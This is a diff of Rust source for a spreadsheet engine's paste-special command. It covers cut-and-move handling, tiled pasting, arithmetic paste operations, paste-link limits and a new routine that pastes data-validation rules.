return Err(EngineError::Other("Too many cells to paste as links at once.".into()));
|
||||
}
|
||||
let same_doc = s.doc()?.uid == clip.doc_uid;
|
||||
let cut_move = clip.cut && same_doc && what == What::All;
|
||||
let src_wb = clip.wb.clone();
|
||||
let Some(src_sheet) = src_wb.sheet(clip.sheet) else { return Err(EngineError::Other("The copied sheet no longer exists.".into())) };
|
||||
let src_sheet_name = src_sheet.name.clone();
|
||||
if cut_move && at.offset((tiles_r * h).saturating_sub(1) as i64, (tiles_c * w).saturating_sub(1) as i64).is_none() {
|
||||
// Check the whole footprint before the source is emptied, so a move that overflows the grid loses nothing.
|
||||
return Err(EngineError::Other("The cut area doesn't fit at this position; nothing was moved.".into()));
|
||||
}
|
||||
edit(s, |cx| {
|
||||
// Styles from another workbook must be re-interned.
|
||||
let dest_name = cx.wb.sheet(dest_sheet).map(|sh| sh.name.clone()).unwrap_or_default();
|
||||
let mut style_map = std::collections::HashMap::new();
|
||||
let mut map_style = |id: StyleId, wb: &mut gridcraft_model::Workbook| -> StyleId {
|
||||
if same_doc {
|
||||
@@ -126,7 +71,7 @@ pub(super) fn paste_special(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
}
|
||||
*style_map.entry(id).or_insert_with(|| wb.styles.intern(src_wb.styles.get(id).clone()))
|
||||
};
|
||||
let mut moved_formulas = Vec::new();
|
||||
let mut moved_formulas = std::collections::BTreeMap::new();
|
||||
let mut moved_pictures = std::collections::BTreeMap::new();
|
||||
if cut_move {
|
||||
// Remove the source first (contents and formats), and fix references to it.
|
||||
@@ -143,190 +88,281 @@ pub(super) fn paste_special(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
for (c, _) in &taken {
|
||||
cx.touch(clip.sheet, *c);
|
||||
}
|
||||
moved_formulas = taken;
|
||||
moved_formulas = taken.into_iter().collect();
|
||||
}
|
||||
let dest_name = cx.wb.sheet(dest_sheet).map(|sh| sh.name.clone()).unwrap_or_default();
|
||||
for (tr, tc, r, c) in tiled_cells(src.height(), src.width(), tiles_r, tiles_c) {
|
||||
let sc = CellRef::new(src.start.row + r, src.start.col + c);
|
||||
let (dr, dc) = if transpose { (c, r) } else { (r, c) };
|
||||
let Some(dest) = at.offset((tr * h + dr) as i64, (tc * w + dc) as i64) else { continue };
|
||||
let src_cell = if cut_move { moved_formulas.iter().find(|(k, _)| *k == sc).map(|(_, v)| v.clone()) } else { src_sheet.cell(sc).cloned() };
|
||||
let src_val = src_sheet.value(sc);
|
||||
let src_picture = if cut_move { moved_pictures.get(&sc) } else { src_sheet.cell_pictures.get(&sc) }.cloned();
|
||||
if skip_blanks && src_picture.is_none() && src_val.is_empty() && src_cell.as_ref().is_none_or(|x| x.formula.is_none() && x.py.is_none()) {
|
||||
continue;
|
||||
}
|
||||
let old = cx.wb.sheet(dest_sheet).and_then(|sh| sh.cell(dest)).cloned().unwrap_or_default();
|
||||
let old_picture = cx.wb.sheet(dest_sheet).and_then(|sh| sh.cell_pictures.get(&dest)).cloned();
|
||||
let mut new_picture = old_picture.clone();
|
||||
let mut new = old.clone();
|
||||
let shift = |cell: &Cell| -> Option<std::sync::Arc<Formula>> {
|
||||
let f = cell.formula.as_ref()?;
|
||||
let e = f.expr()?;
|
||||
if cut_move {
|
||||
// A moved formula still reads cells on its original sheet. Qualify
|
||||
// those references before the workbook-wide move adjustment below.
|
||||
let e = if dest_sheet != clip.sheet {
|
||||
e.map(&mut |x| match x {
|
||||
gridcraft_formula::Expr::Ref(mut r) if r.sheet == gridcraft_formula::SheetSel::Current => {
|
||||
r.sheet = gridcraft_formula::SheetSel::Named(src_sheet_name.clone());
|
||||
gridcraft_formula::Expr::Ref(r)
|
||||
}
|
||||
other => other,
|
||||
})
|
||||
} else {
|
||||
e
|
||||
};
|
||||
let mut moved = Formula::from_expr(e);
|
||||
// The array range moves with its formula.
|
||||
let (dr, dc) = (dest.row as i64 - sc.row as i64, dest.col as i64 - sc.col as i64);
|
||||
moved.array = f.array.and_then(|a| Some(RangeRef::new(a.start.offset(dr, dc)?, a.end.offset(dr, dc)?)));
|
||||
moved.dynamic = f.dynamic;
|
||||
return Some(std::sync::Arc::new(moved));
|
||||
}
|
||||
let moved = gridcraft_formula::adjust::shift_relative(e, dest.row as i64 - sc.row as i64, dest.col as i64 - sc.col as i64);
|
||||
Some(std::sync::Arc::new(Formula { dynamic: f.dynamic, ..Formula::from_expr(moved) }))
|
||||
};
|
||||
// A Python cell's code travels with it. Cut to another sheet, it keeps reading the
|
||||
// cells its `xl()` references named on its original sheet, as a moved formula does:
|
||||
// they are qualified with that sheet before the workbook-wide move adjustment below.
|
||||
let moved_py = |cell: &Cell| -> Result<Option<std::sync::Arc<gridcraft_model::PyCode>>> {
|
||||
let Some(py) = cell.py.clone() else { return Ok(None) };
|
||||
if !cut_move || dest_sheet == clip.sheet {
|
||||
return Ok(Some(py));
|
||||
}
|
||||
let qualified = gridcraft_model::python::rewrite_xl(&py.code, |reference| {
|
||||
let e = gridcraft_formula::parse(reference).ok()?.map(&mut |x| match x {
|
||||
gridcraft_formula::Expr::Ref(mut r) if r.sheet == gridcraft_formula::SheetSel::Current => {
|
||||
r.sheet = gridcraft_formula::SheetSel::Named(src_sheet_name.clone());
|
||||
gridcraft_formula::Expr::Ref(r)
|
||||
}
|
||||
other => other,
|
||||
});
|
||||
Some(gridcraft_formula::print(&e))
|
||||
// The cells of the copied block that hold something (or that a link reads), as offsets
|
||||
// inside it. Blank source cells matter only where the destination holds something.
|
||||
let source_offsets: std::collections::BTreeSet<(u32, u32)> = if link {
|
||||
(0..link_src.height()).flat_map(|r| (0..link_src.width()).map(move |c| (r, c))).collect()
|
||||
} else {
|
||||
let offset = |c: CellRef| (c.row - src.start.row, c.col - src.start.col);
|
||||
let mut held: std::collections::BTreeSet<(u32, u32)> = src_sheet.cells.iter_range(src).map(|(c, _)| offset(c)).collect();
|
||||
let side =
|
||||
src_sheet.spill.keys().chain(src_sheet.cell_pictures.keys()).chain(src_sheet.comments.keys()).chain(src_sheet.hyperlinks.keys());
|
||||
held.extend(side.chain(moved_formulas.keys()).chain(moved_pictures.keys()).filter(|c| src.contains(**c)).map(|c| offset(*c)));
|
||||
held
|
||||
};
|
||||
let skip_cells = matches!(what, What::Validation | What::ColumnWidths);
|
||||
// A blank source cell clears (or reformats) a destination cell that holds something, so
|
||||
// those cells join the visit. One scan of the whole pasted area sorts them by tile.
|
||||
let mut dest_held: std::collections::BTreeMap<(u32, u32), Vec<(u32, u32)>> = Default::default();
|
||||
if !link && !skip_cells {
|
||||
let pasted = RangeRef::new(at, at.offset_clamped(i64::from(tiles_r * h) - 1, i64::from(tiles_c * w) - 1));
|
||||
let held =
|
||||
cx.wb.sheet(dest_sheet).into_iter().flat_map(|sh| {
|
||||
sh.cells.iter_range(pasted).map(|(c, _)| c).chain(sh.cell_pictures.keys().copied().filter(|c| pasted.contains(*c)))
|
||||
});
|
||||
Ok(Some(match qualified {
|
||||
Some(code) => {
|
||||
let moved = gridcraft_model::PyCode { code, ..(*py).clone() };
|
||||
check_python_fits(&moved, &dest_name, dest)?;
|
||||
std::sync::Arc::new(moved)
|
||||
for d in held.collect::<Vec<_>>() {
|
||||
let (dr, dc) = (d.row - at.row, d.col - at.col);
|
||||
let local = (dr % h, dc % w);
|
||||
dest_held.entry((dr / h, dc / w)).or_default().push(if transpose { (local.1, local.0) } else { local });
|
||||
}
|
||||
}
|
||||
let no_cells = std::collections::BTreeSet::new();
|
||||
for tr in 0..tiles_r {
|
||||
for tc in 0..tiles_c {
|
||||
let merged;
|
||||
let offsets = match dest_held.get(&(tr, tc)) {
|
||||
Some(extra) => {
|
||||
merged = source_offsets.iter().chain(extra).copied().collect::<std::collections::BTreeSet<_>>();
|
||||
&merged
|
||||
}
|
||||
None => py,
|
||||
}))
|
||||
};
|
||||
if link {
|
||||
let sheet_prefix = if dest_sheet == clip.sheet && same_doc {
|
||||
String::new()
|
||||
} else {
|
||||
format!("{}!", gridcraft_formula::quote_sheet(&src_sheet_name))
|
||||
None if skip_cells => &no_cells,
|
||||
None => &source_offsets,
|
||||
};
|
||||
new.formula = Some(std::sync::Arc::new(Formula::new(&format!("={sheet_prefix}{}", sc.a1()))));
|
||||
new.value = Value::Empty;
|
||||
new.py = None;
|
||||
new_picture = None;
|
||||
} else {
|
||||
let sc_cell = src_cell.clone().unwrap_or_default();
|
||||
match what {
|
||||
What::All | What::AllExceptBorders => {
|
||||
new_picture = src_picture.clone();
|
||||
new.formula = shift(&sc_cell);
|
||||
new.value = if new.formula.is_some() { Value::Empty } else { sc_cell.value.clone() };
|
||||
new.py = moved_py(&sc_cell)?;
|
||||
let st = map_style(sc_cell.style, &mut cx.wb);
|
||||
new.style = if what == What::AllExceptBorders {
|
||||
let borders = cx.wb.styles.get(old.style).borders;
|
||||
cx.wb.styles.derive(st, |s| s.borders = borders)
|
||||
for &(r, c) in offsets {
|
||||
let sc = CellRef::new(src.start.row + r, src.start.col + c);
|
||||
let (dr, dc) = if transpose { (c, r) } else { (r, c) };
|
||||
let Some(dest) = at.offset((tr * h + dr) as i64, (tc * w + dc) as i64) else { continue };
|
||||
let src_cell = if cut_move { moved_formulas.get(&sc).cloned() } else { src_sheet.cell(sc).cloned() };
|
||||
let src_val = src_sheet.value(sc);
|
||||
let src_picture = if cut_move { moved_pictures.get(&sc) } else { src_sheet.cell_pictures.get(&sc) }.cloned();
|
||||
if skip_blanks
|
||||
&& src_picture.is_none()
|
||||
&& src_val.is_empty()
|
||||
&& src_cell.as_ref().is_none_or(|x| x.formula.is_none() && x.py.is_none())
|
||||
{
|
||||
continue;
|
||||
}
|
||||
let old = cx.wb.sheet(dest_sheet).and_then(|sh| sh.cell(dest)).cloned().unwrap_or_default();
|
||||
let old_picture = cx.wb.sheet(dest_sheet).and_then(|sh| sh.cell_pictures.get(&dest)).cloned();
|
||||
let mut new_picture = old_picture.clone();
|
||||
let mut new = old.clone();
|
||||
let shift = |cell: &Cell| -> Option<std::sync::Arc<Formula>> {
|
||||
let f = cell.formula.as_ref()?;
|
||||
let e = f.expr()?;
|
||||
if cut_move {
|
||||
// A moved formula still reads cells on its original sheet. Qualify
|
||||
// those references before the workbook-wide move adjustment below.
|
||||
let e = if dest_sheet != clip.sheet {
|
||||
e.map(&mut |x| match x {
|
||||
gridcraft_formula::Expr::Ref(mut r) if r.sheet == gridcraft_formula::SheetSel::Current => {
|
||||
r.sheet = gridcraft_formula::SheetSel::Named(src_sheet_name.clone());
|
||||
gridcraft_formula::Expr::Ref(r)
|
||||
}
|
||||
other => other,
|
||||
})
|
||||
} else {
|
||||
e
|
||||
};
|
||||
let mut moved = Formula::from_expr(e);
|
||||
// The array range moves with its formula.
|
||||
let (dr, dc) = (dest.row as i64 - sc.row as i64, dest.col as i64 - sc.col as i64);
|
||||
moved.array = f.array.and_then(|a| Some(RangeRef::new(a.start.offset(dr, dc)?, a.end.offset(dr, dc)?)));
|
||||
moved.dynamic = f.dynamic;
|
||||
return Some(std::sync::Arc::new(moved));
|
||||
}
|
||||
let moved = gridcraft_formula::adjust::shift_relative(e, dest.row as i64 - sc.row as i64, dest.col as i64 - sc.col as i64);
|
||||
Some(std::sync::Arc::new(Formula { dynamic: f.dynamic, ..Formula::from_expr(moved) }))
|
||||
};
|
||||
let moved_py = |cell: &Cell| -> Result<Option<std::sync::Arc<gridcraft_model::PyCode>>> {
|
||||
let Some(py) = cell.py.clone() else { return Ok(None) };
|
||||
if !cut_move || dest_sheet == clip.sheet {
|
||||
return Ok(Some(py));
|
||||
}
|
||||
let qualified = gridcraft_model::python::rewrite_xl(&py.code, |reference| {
|
||||
let e = gridcraft_formula::parse(reference).ok()?.map(&mut |x| match x {
|
||||
gridcraft_formula::Expr::Ref(mut r) if r.sheet == gridcraft_formula::SheetSel::Current => {
|
||||
r.sheet = gridcraft_formula::SheetSel::Named(src_sheet_name.clone());
|
||||
gridcraft_formula::Expr::Ref(r)
|
||||
}
|
||||
other => other,
|
||||
});
|
||||
Some(gridcraft_formula::print(&e))
|
||||
});
|
||||
Ok(Some(match qualified {
|
||||
Some(code) => {
|
||||
let moved = gridcraft_model::PyCode { code, ..(*py).clone() };
|
||||
check_python_fits(&moved, &dest_name, dest)?;
|
||||
std::sync::Arc::new(moved)
|
||||
}
|
||||
None => py,
|
||||
}))
|
||||
};
|
||||
if link {
|
||||
let sheet_prefix = if dest_sheet == clip.sheet && same_doc {
|
||||
String::new()
|
||||
} else {
|
||||
st
|
||||
format!("{}!", gridcraft_formula::quote_sheet(&src_sheet_name))
|
||||
};
|
||||
}
|
||||
What::Formulas | What::FormulasAndNumberFormats => {
|
||||
new_picture = src_picture.clone();
|
||||
new.formula = shift(&sc_cell);
|
||||
new.value = if new.formula.is_some() { Value::Empty } else { sc_cell.value.clone() };
|
||||
new.py = moved_py(&sc_cell)?;
|
||||
if what == What::FormulasAndNumberFormats {
|
||||
let nf = src_wb.styles.get(sc_cell.style).num_fmt.clone();
|
||||
new.style = cx.wb.styles.derive(old.style, |s| s.num_fmt = nf);
|
||||
}
|
||||
}
|
||||
What::Values | What::ValuesAndNumberFormats => {
|
||||
new_picture = src_picture.clone();
|
||||
new.formula = None;
|
||||
new.formula = Some(std::sync::Arc::new(Formula::new(&format!("={sheet_prefix}{}", sc.a1()))));
|
||||
new.value = Value::Empty;
|
||||
new.py = None;
|
||||
new.value = src_val.clone();
|
||||
if what == What::ValuesAndNumberFormats {
|
||||
let nf = src_wb.styles.get(sc_cell.style).num_fmt.clone();
|
||||
new.style = cx.wb.styles.derive(old.style, |s| s.num_fmt = nf);
|
||||
new_picture = None;
|
||||
} else {
|
||||
let sc_cell = src_cell.clone().unwrap_or_default();
|
||||
match what {
|
||||
What::All | What::AllExceptBorders => {
|
||||
new_picture = src_picture.clone();
|
||||
new.formula = shift(&sc_cell);
|
||||
new.value = if new.formula.is_some() { Value::Empty } else { sc_cell.value.clone() };
|
||||
new.py = moved_py(&sc_cell)?;
|
||||
let st = map_style(sc_cell.style, &mut cx.wb);
|
||||
new.style = if what == What::AllExceptBorders {
|
||||
let borders = cx.wb.styles.get(old.style).borders;
|
||||
cx.wb.styles.derive(st, |s| s.borders = borders)
|
||||
} else {
|
||||
st
|
||||
};
|
||||
}
|
||||
What::Formulas | What::FormulasAndNumberFormats => {
|
||||
new_picture = src_picture.clone();
|
||||
new.formula = shift(&sc_cell);
|
||||
new.value = if new.formula.is_some() { Value::Empty } else { sc_cell.value.clone() };
|
||||
new.py = moved_py(&sc_cell)?;
|
||||
if what == What::FormulasAndNumberFormats {
|
||||
let nf = src_wb.styles.get(sc_cell.style).num_fmt.clone();
|
||||
new.style = cx.wb.styles.derive(old.style, |s| s.num_fmt = nf);
|
||||
}
|
||||
}
|
||||
What::Values | What::ValuesAndNumberFormats => {
|
||||
new_picture = src_picture.clone();
|
||||
new.formula = None;
|
||||
new.py = None;
|
||||
new.value = src_val.clone();
|
||||
if what == What::ValuesAndNumberFormats {
|
||||
let nf = src_wb.styles.get(sc_cell.style).num_fmt.clone();
|
||||
new.style = cx.wb.styles.derive(old.style, |s| s.num_fmt = nf);
|
||||
}
|
||||
}
|
||||
What::Formats => new.style = map_style(sc_cell.style, &mut cx.wb),
|
||||
What::Comments | What::Validation | What::ColumnWidths => {}
|
||||
}
|
||||
// Operations combine numbers with what is already there.
|
||||
if op != "none"
|
||||
&& matches!(what, What::All | What::Values | What::ValuesAndNumberFormats | What::Formulas)
|
||||
&& new.formula.is_none()
|
||||
&& new.py.is_none()
|
||||
{
|
||||
if old_picture.is_some() || new_picture.is_some() {
|
||||
new_picture = None;
|
||||
new.value = Value::Error(gridcraft_core::CellError::Value);
|
||||
}
|
||||
let a = old.value.clone();
|
||||
let b = new.value.clone();
|
||||
// Numbers stored as text take part (multiplying by 1 turns them into
|
||||
// numbers); other text and errors stay as they are.
|
||||
if let (Ok(x), Ok(y)) = (a.to_number(), b.to_number())
|
||||
&& (a.is_number() || a.is_empty() || a.is_text())
|
||||
&& (b.is_number() || b.is_empty())
|
||||
{
|
||||
new.value = match op.as_str() {
|
||||
"add" => Value::number(x + y),
|
||||
"subtract" => Value::number(x - y),
|
||||
"multiply" => Value::number(x * y),
|
||||
"divide" => {
|
||||
if y == 0.0 {
|
||||
Value::Error(gridcraft_core::CellError::Div0)
|
||||
} else {
|
||||
Value::number(x / y)
|
||||
}
|
||||
}
|
||||
_ => b.clone(),
|
||||
};
|
||||
} else if (a.is_text() || a.is_error()) && (b.is_number() || b.is_empty()) {
|
||||
new.value = a;
|
||||
}
|
||||
// A formula already there is kept and combined with the pasted number.
|
||||
if let Some(f) = &old.formula
|
||||
&& let Ok(y) = b.to_number()
|
||||
&& (b.is_number() || b.is_empty())
|
||||
&& let Some(sym) = match op.as_str() {
|
||||
"add" => Some('+'),
|
||||
"subtract" => Some('-'),
|
||||
"multiply" => Some('*'),
|
||||
"divide" => Some('/'),
|
||||
_ => None,
|
||||
}
|
||||
{
|
||||
let text = format!("=({}){sym}{}", f.text, gridcraft_core::number_to_text(y));
|
||||
new.formula = Some(std::sync::Arc::new(Formula::new(&text)));
|
||||
new.value = Value::Empty;
|
||||
}
|
||||
}
|
||||
}
|
||||
What::Formats => new.style = map_style(sc_cell.style, &mut cx.wb),
|
||||
What::Comments | What::Validation | What::ColumnWidths => {}
|
||||
}
|
||||
// Operations combine numbers with what is already there.
|
||||
if op != "none"
|
||||
&& matches!(what, What::All | What::Values | What::ValuesAndNumberFormats | What::Formulas)
|
||||
&& new.formula.is_none()
|
||||
&& new.py.is_none()
|
||||
{
|
||||
if old_picture.is_some() || new_picture.is_some() {
|
||||
new_picture = None;
|
||||
new.value = Value::Error(gridcraft_core::CellError::Value);
|
||||
match what {
|
||||
What::Comments => {
|
||||
if let Some(cm) = src_sheet.comments.get(&sc).cloned() {
|
||||
cx.sheet_mut(dest_sheet)?.comments.insert(dest, cm);
|
||||
}
|
||||
}
|
||||
What::All => {
|
||||
if let Some(cm) = src_sheet.comments.get(&sc).cloned() {
|
||||
cx.sheet_mut(dest_sheet)?.comments.insert(dest, cm);
|
||||
}
|
||||
if let Some(h) = src_sheet.hyperlinks.get(&sc).cloned() {
|
||||
cx.sheet_mut(dest_sheet)?.hyperlinks.insert(dest, h);
|
||||
}
|
||||
cx.sheet_mut(dest_sheet)?.set_cell(dest, new);
|
||||
}
|
||||
_ => cx.sheet_mut(dest_sheet)?.set_cell(dest, new),
|
||||
}
|
||||
// Numbers stored as text participate; other text and errors stay as they are.
|
||||
apply_operation(&op, &old, &mut new);
|
||||
if let Some(picture) = new_picture {
|
||||
cx.sheet_mut(dest_sheet)?.cell_pictures.insert(dest, picture);
|
||||
}
|
||||
cx.touch(dest_sheet, dest);
|
||||
}
|
||||
}
|
||||
// The copied cell's validation rule replaces whatever rule the destination had.
|
||||
if !link && matches!(what, What::All | What::AllExceptBorders | What::Validation) {
|
||||
let rule = src_sheet.validations.iter().find(|dv| dv.ranges.iter().any(|r| r.contains(sc))).cloned();
|
||||
let sh = cx.sheet_mut(dest_sheet)?;
|
||||
crate::cmd::data::remove_validation_cells(&mut sh.validations, &[RangeRef::new(dest, dest)]);
|
||||
if let Some(mut dv) = rule {
|
||||
// Relative references move with the rule, as pasted formulas do.
|
||||
let first = RangeRef::top_left(&dv.ranges).unwrap_or(sc);
|
||||
dv.f1 = crate::cmd::data::move_rule_formula(&dv.f1, first, dest);
|
||||
dv.f2 = dv.f2.map(|f| crate::cmd::data::move_rule_formula(&f, first, dest));
|
||||
dv.ranges = vec![RangeRef::new(dest, dest)];
|
||||
sh.validations.push(dv);
|
||||
}
|
||||
let pasted = RangeRef::new(at, at.offset_clamped(i64::from(tiles_r * h) - 1, i64::from(tiles_c * w) - 1));
|
||||
if !link && matches!(what, What::All | What::AllExceptBorders | What::Validation) {
|
||||
paste_validations(cx, src_sheet, src, dest_sheet, pasted, transpose, skip_blanks)?;
|
||||
}
|
||||
if what == What::ColumnWidths {
|
||||
// Each pasted column takes the width of the column copied to it (transposed, the
|
||||
// copied rows land in columns and all take the last copied column's width).
|
||||
let cols = cx.sheet_mut(dest_sheet)?;
|
||||
for dc in 0..pasted.width() {
|
||||
let info = if transpose {
|
||||
(0..src.width()).rev().find_map(|c| src_sheet.cols.get(&(src.start.col + c)).copied())
|
||||
} else {
|
||||
src_sheet.cols.get(&(src.start.col + dc % w)).copied()
|
||||
};
|
||||
if let Some(info) = info {
|
||||
cols.cols.insert(pasted.start.col + dc, info);
|
||||
}
|
||||
}
|
||||
match what {
|
||||
What::Comments => {
|
||||
if let Some(cm) = src_sheet.comments.get(&sc).cloned() {
|
||||
cx.sheet_mut(dest_sheet)?.comments.insert(dest, cm);
|
||||
}
|
||||
}
|
||||
What::ColumnWidths => {
|
||||
if let Some(info) = src_sheet.cols.get(&sc.col).copied() {
|
||||
cx.sheet_mut(dest_sheet)?.cols.insert(dest.col, info);
|
||||
}
|
||||
}
|
||||
What::All => {
|
||||
if let Some(cm) = src_sheet.comments.get(&sc).cloned() {
|
||||
cx.sheet_mut(dest_sheet)?.comments.insert(dest, cm);
|
||||
}
|
||||
if let Some(h) = src_sheet.hyperlinks.get(&sc).cloned() {
|
||||
cx.sheet_mut(dest_sheet)?.hyperlinks.insert(dest, h);
|
||||
}
|
||||
cx.sheet_mut(dest_sheet)?.set_cell(dest, new);
|
||||
}
|
||||
_ => cx.sheet_mut(dest_sheet)?.set_cell(dest, new),
|
||||
}
|
||||
if let Some(picture) = new_picture {
|
||||
cx.sheet_mut(dest_sheet)?.cell_pictures.insert(dest, picture);
|
||||
}
|
||||
cx.touch(dest_sheet, dest);
|
||||
}
|
||||
// Merged areas inside the copied block travel with it.
|
||||
copy_merges(cx, dest_sheet, src_sheet, src, at, what, transpose)?;
|
||||
if matches!(what, What::All | What::Formats) && !transpose {
|
||||
let merges: Vec<RangeRef> = src_sheet.merges.iter().filter(|m| src.contains_range(m)).copied().collect();
|
||||
for m in merges {
|
||||
let dr = at.row as i64 - src.start.row as i64;
|
||||
let dc = at.col as i64 - src.start.col as i64;
|
||||
if let (Some(a), Some(b)) = (m.start.offset(dr, dc), m.end.offset(dr, dc)) {
|
||||
let nm = RangeRef::new(a, b);
|
||||
let sh = cx.sheet_mut(dest_sheet)?;
|
||||
sh.merges.retain(|x| !x.intersects(&nm));
|
||||
sh.merges.push(nm);
|
||||
}
|
||||
}
|
||||
}
|
||||
if cut_move {
|
||||
// References elsewhere to the moved block now point to its new place.
|
||||
let dest_name = cx.wb.sheet(dest_sheet).map(|s| s.name.clone()).unwrap_or_default();
|
||||
let e = if dest_sheet == clip.sheet {
|
||||
gridcraft_formula::adjust::Edit::Move { from: src, to_row: at.row, to_col: at.col }
|
||||
} else {
|
||||
gridcraft_formula::adjust::Edit::MoveToSheet { from: src, to_sheet: dest_name, to_row: at.row, to_col: at.col }
|
||||
gridcraft_formula::adjust::Edit::MoveToSheet { from: src, to_sheet: dest_name.clone(), to_row: at.row, to_col: at.col }
|
||||
};
|
||||
rewrite_all_formulas(&mut cx.wb, &src_sheet_name, &e)?;
|
||||
cx.structural = true;
|
||||
@@ -351,6 +387,132 @@ pub(super) fn paste_special(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
Ok(json!({"pasted": s.doc()?.selection.a1()}))
|
||||
}
|
||||
|
||||
/// Most cells one Paste Link writes (it writes a formula into every cell of the copied area,
|
||||
/// blank ones included).
|
||||
const MAX_PASTE_LINK_CELLS: u64 = 1_048_576;
|
||||
/// Most validation ranges one paste adds (a rule covering part of a small block tiled over a huge
|
||||
/// selection makes one range per tile).
|
||||
const MAX_PASTE_VALIDATION_RANGES: usize = 100_000;
|
||||
|
||||
/// Pasting validation works on ranges, as Excel stores it: the pasted rectangle is cut out of the
|
||||
/// destination's rules (cells whose source had no rule end up with none), then each source rule
|
||||
/// that covers part of the copied block `src` comes along as one rule over the translated parts.
|
||||
/// `size` is one tile's (height, width) at the destination; `pasted` is all the tiles together.
|
||||
fn paste_validations(
|
||||
cx: &mut crate::cmd::Ctx<'_>,
|
||||
src_sheet: &gridcraft_model::Sheet,
|
||||
src: RangeRef,
|
||||
dest_sheet: usize,
|
||||
pasted: RangeRef,
|
||||
transpose: bool,
|
||||
skip_blanks: bool,
|
||||
) -> Result<()> {
|
||||
let (h, w) = if transpose { (src.width(), src.height()) } else { (src.height(), src.width()) };
|
||||
let (tiles_r, tiles_c) = (pasted.height() / h.max(1), pasted.width() / w.max(1));
|
||||
let mut rules = Vec::new();
|
||||
// Under Skip Blanks the destination keeps its rule below a blank source cell that has none, so
|
||||
// only the destination of cells that hold something (and of the rules) is cleared. Nothing is
|
||||
// collected when no destination rule is under the paste.
|
||||
let mut cleared: Vec<RangeRef> = Vec::new();
|
||||
let dest_rules =
|
||||
cx.wb.sheet(dest_sheet).is_some_and(|sh| sh.validations.iter().any(|dv| dv.ranges.iter().any(|r| r.intersection(&pasted).is_some())));
|
||||
if skip_blanks && dest_rules {
|
||||
let mut cells = Vec::new();
|
||||
for (sc, cell) in src_sheet.cells.iter_range(src) {
|
||||
if cell.formula.is_none() && cell.py.is_none() && src_sheet.value(sc).is_empty() {
|
||||
continue;
|
||||
}
|
||||
let (r, c) = (sc.row - src.start.row, sc.col - src.start.col);
|
||||
let (r, c) = if transpose { (c, r) } else { (r, c) };
|
||||
for tr in 0..tiles_r {
|
||||
for tc in 0..tiles_c {
|
||||
if let Some(d) = pasted.start.offset(i64::from(tr * h + r), i64::from(tc * w + c)) {
|
||||
cells.push((d.row, d.col));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// Coalesce populated cells into horizontal runs, then join identical runs in adjacent
|
||||
// rows. The range limit applies to the cuts, not the number of populated cells.
|
||||
cells.sort_unstable();
|
||||
let mut runs: Vec<RangeRef> = Vec::new();
|
||||
let mut i = 0;
|
||||
while i < cells.len() {
|
||||
let (row, start_col) = cells[i];
|
||||
let mut end_col = start_col;
|
||||
i += 1;
|
||||
while i < cells.len() && cells[i].0 == row && cells[i].1 <= end_col.saturating_add(1) {
|
||||
end_col = end_col.max(cells[i].1);
|
||||
i += 1;
|
||||
}
|
||||
runs.push(RangeRef::new(CellRef::new(row, start_col), CellRef::new(row, end_col)));
|
||||
}
|
||||
let mut last_run_by_columns = std::collections::BTreeMap::<(u32, u32), usize>::new();
|
||||
for run in runs {
|
||||
let columns = (run.start.col, run.end.col);
|
||||
if let Some(&index) = last_run_by_columns.get(&columns)
|
||||
&& cleared[index].end.row.saturating_add(1) == run.start.row
|
||||
{
|
||||
cleared[index].end.row = run.end.row;
|
||||
} else {
|
||||
let index = cleared.len();
|
||||
cleared.push(run);
|
||||
last_run_by_columns.insert(columns, index);
|
||||
}
|
||||
}
|
||||
}
|
||||
let mut total = 0usize;
|
||||
for dv in &src_sheet.validations {
|
||||
let parts: Vec<RangeRef> = dv.ranges.iter().filter_map(|r| r.intersection(&src)).collect();
|
||||
let Some(first) = dv.ranges.first().map(|r| r.start) else { continue };
|
||||
if parts.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let mut ranges = Vec::new();
|
||||
if parts.contains(&src) {
|
||||
ranges.push(pasted);
|
||||
} else {
|
||||
total = total.saturating_add(parts.len().saturating_mul(tiles_r as usize).saturating_mul(tiles_c as usize));
|
||||
if total > MAX_PASTE_VALIDATION_RANGES {
|
||||
return Err(EngineError::Other("Too many separate validation areas to paste at once.".into()));
|
||||
}
|
||||
for tr in 0..tiles_r {
|
||||
for tc in 0..tiles_c {
|
||||
let Some(origin) = pasted.start.offset(i64::from(tr * h), i64::from(tc * w)) else { continue };
|
||||
for p in &parts {
|
||||
let (r0, c0) = (p.start.row - src.start.row, p.start.col - src.start.col);
|
||||
let (r1, c1) = (p.end.row - src.start.row, p.end.col - src.start.col);
|
||||
let ((r0, c0), (r1, c1)) = if transpose { ((c0, r0), (c1, r1)) } else { ((r0, c0), (r1, c1)) };
|
||||
let Some(a) = origin.offset(i64::from(r0), i64::from(c0)) else { continue };
|
||||
let b = origin.offset_clamped(i64::from(r1), i64::from(c1));
|
||||
ranges.push(RangeRef::new(a, b));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
let Some(anchor) = ranges.first().map(|r| r.start) else { continue };
|
||||
let mut rule = dv.clone();
|
||||
// Relative references move with the rule, as pasted formulas do: they are written for the
|
||||
// rule's first cell.
|
||||
rule.f1 = super::super::data::move_rule_formula(&dv.f1, first, anchor);
|
||||
rule.f2 = dv.f2.as_ref().map(|f| super::super::data::move_rule_formula(f, first, anchor));
|
||||
rule.ranges = ranges;
|
||||
rules.push(rule);
|
||||
}
|
||||
if cleared.len() > MAX_PASTE_VALIDATION_RANGES {
|
||||
return Err(EngineError::Other("Too many separate validation areas to paste at once.".into()));
|
||||
}
|
||||
let sh = cx.sheet_mut(dest_sheet)?;
|
||||
if skip_blanks {
|
||||
cleared.extend(rules.iter().flat_map(|r| r.ranges.iter().copied()));
|
||||
super::super::data::remove_validation_cells(&mut sh.validations, &cleared);
|
||||
} else {
|
||||
super::super::data::remove_validation_cells(&mut sh.validations, &[pasted]);
|
||||
}
|
||||
sh.validations.extend(rules);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Applies a reference adjustment to every cell formula and defined name in the workbook.
|
||||
pub(crate) fn rewrite_all_formulas(wb: &mut gridcraft_model::Workbook, target: &str, e: &gridcraft_formula::adjust::Edit) -> Result<()> {
|
||||
use gridcraft_formula::adjust::Edit;
|
||||
@@ -396,14 +558,15 @@ pub(crate) fn rewrite_all_formulas(wb: &mut gridcraft_model::Workbook, target: &
|
||||
}
|
||||
|
||||
/// Runs `f` over every reference a floating object holds (a chart's series values, categories,
|
||||
/// name and bubble sizes, and the source block it was made from). Every edit that moves
|
